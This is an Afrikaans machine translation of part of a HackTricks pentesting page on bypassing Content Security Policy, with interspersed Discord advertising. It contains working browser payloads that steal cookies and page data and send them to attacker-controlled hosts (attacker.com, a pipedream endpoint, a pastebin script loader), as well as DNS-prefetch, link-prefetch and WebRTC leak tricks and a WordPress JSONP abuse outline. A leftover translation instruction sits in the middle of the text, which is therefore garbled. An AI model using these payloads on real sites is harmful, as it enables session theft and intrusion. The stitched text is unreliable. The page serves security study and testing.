As jy kan slaag om die bediener te laat antwoord met die kop Inhoud-Sekerheidsbeleid-Net-Rapport met 'n waarde wat deur jou beheer word (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die JS-inhoud wat jy wil uitlek met <script> omhul en omdat dit baie waarskynlik is dat onveilig-inlyn nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf Inhoud-Sekerheidsbeleid-Net-Rapport.

Vir 'n voorbeeld kyk na hierdie CTF-skryfstuk.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Inligting wat uitlek met CSP en Iframe

  • 'n iframe word geskep wat na 'n URL wys (laat ons dit https://example.redirect.com noem) wat toegelaat word deur CSP.
  • Hierdie URL verwys dan na 'n geheime URL (bv., https://usersecret.example2.com) wat nie toegelaat word deur CSP nie.
  • Deur te luister na die securitypolicyviolation gebeurtenis, kan mens die blockedURI eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die oorspronklike URL verwys het, uitlek.

Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.

'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-richtlyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

deur te monitor watter versoek blokkeer of toelaat word deur die CSP, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL ontbloot.

Beide metodes maak gebruik van die subtiliteite van CSP-implementering en gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan laat uitlek.

Truuk van hier.

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hack-insigte
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack ondersoek

Nuutste Hack-nuus
Bly op hoogte van die vinnige hack-wêreld deur middel van nuus en insigte in werkliktyd

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) misbruik in 'n eindpunt van 'n bladsy om ander eindpunte van dieselfde oorsprong te misbruik. Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die kwesbare eindpunt die opener-voorwerp in die lading gebruik om die DOM van die **werklike eindpunt wat misbruik moet word, te benader. Vir meer inligting, kyk:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Daarbenewens het wordpress 'n JSONP-eindpunt in /wp-json/wp/v2/users/1?_jsonp=data wat die data wat in die uitvoer gestuur word, sal weerspieël (met die beperking van slegs letters, syfers en kolletjies).

'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te genereer en dit binne <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> in te sluit. Let daarop dat hierdie script sal laai omdat dit toegelaat word deur 'self'. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die SOME-aanval misbruik deur die kwesbare terugroep-eindpunt wat die CSP omseil om meer regte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk na https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te interakteer nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.

Location

Jy kan eenvoudig die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Om bladsye vinniger te laai, gaan webblaaier die hostnaam na IP-adresse vooraf oplos en dit vir later gebruik in die cache stoor.
Jy kan 'n webblaaier aandui om 'n hostnaam vooraf op te los met: <link rel="dns-prefetch" href="iets.com">

Jy kan hierdie gedrag misbruik om gevoelige inligting via DNS-versoeke uit te voer:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Ander manier:

Die volgende is inhoud uit 'n hakboek oor haktegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, haktegniekname, hakwoorde, wolk/SaaS-platformname (soos Workspace, aws, gcp...), die woord 'lek', pentesting, en markdown-etikette vertaal nie. Moet ook nie enige ekstra goed byvoeg buite die vertaling en markdown-sintaks nie.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Om te voorkom dat dit gebeur, kan die bediener die HTTP-kop stuur:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Dit blykbaar werk hierdie tegniek nie in headless-browsers (bots) {% endhint %}

WebRTC

Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src beleid van die CSP nagaan nie.

Eintlik kan jy inligting lek deur 'n DNS versoek. Kyk na hierdie kode:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

'n Ander opsie:'

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Kontroleer CSP-beleide aanlyn

Skep outomaties CSP

https://csper.io/docs/generating-content-security-policy

Verwysings

​

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hacking-insigte
Betrokkenheid by inhoud wat die opwinding en uitdagings van hackering ondersoek

Nuus oor Hackering in Werkliktyd
Bly op hoogte van die vinnige hackeringwêreld deur werkliktydnuus en insigte

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Leer AWS-hackering van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: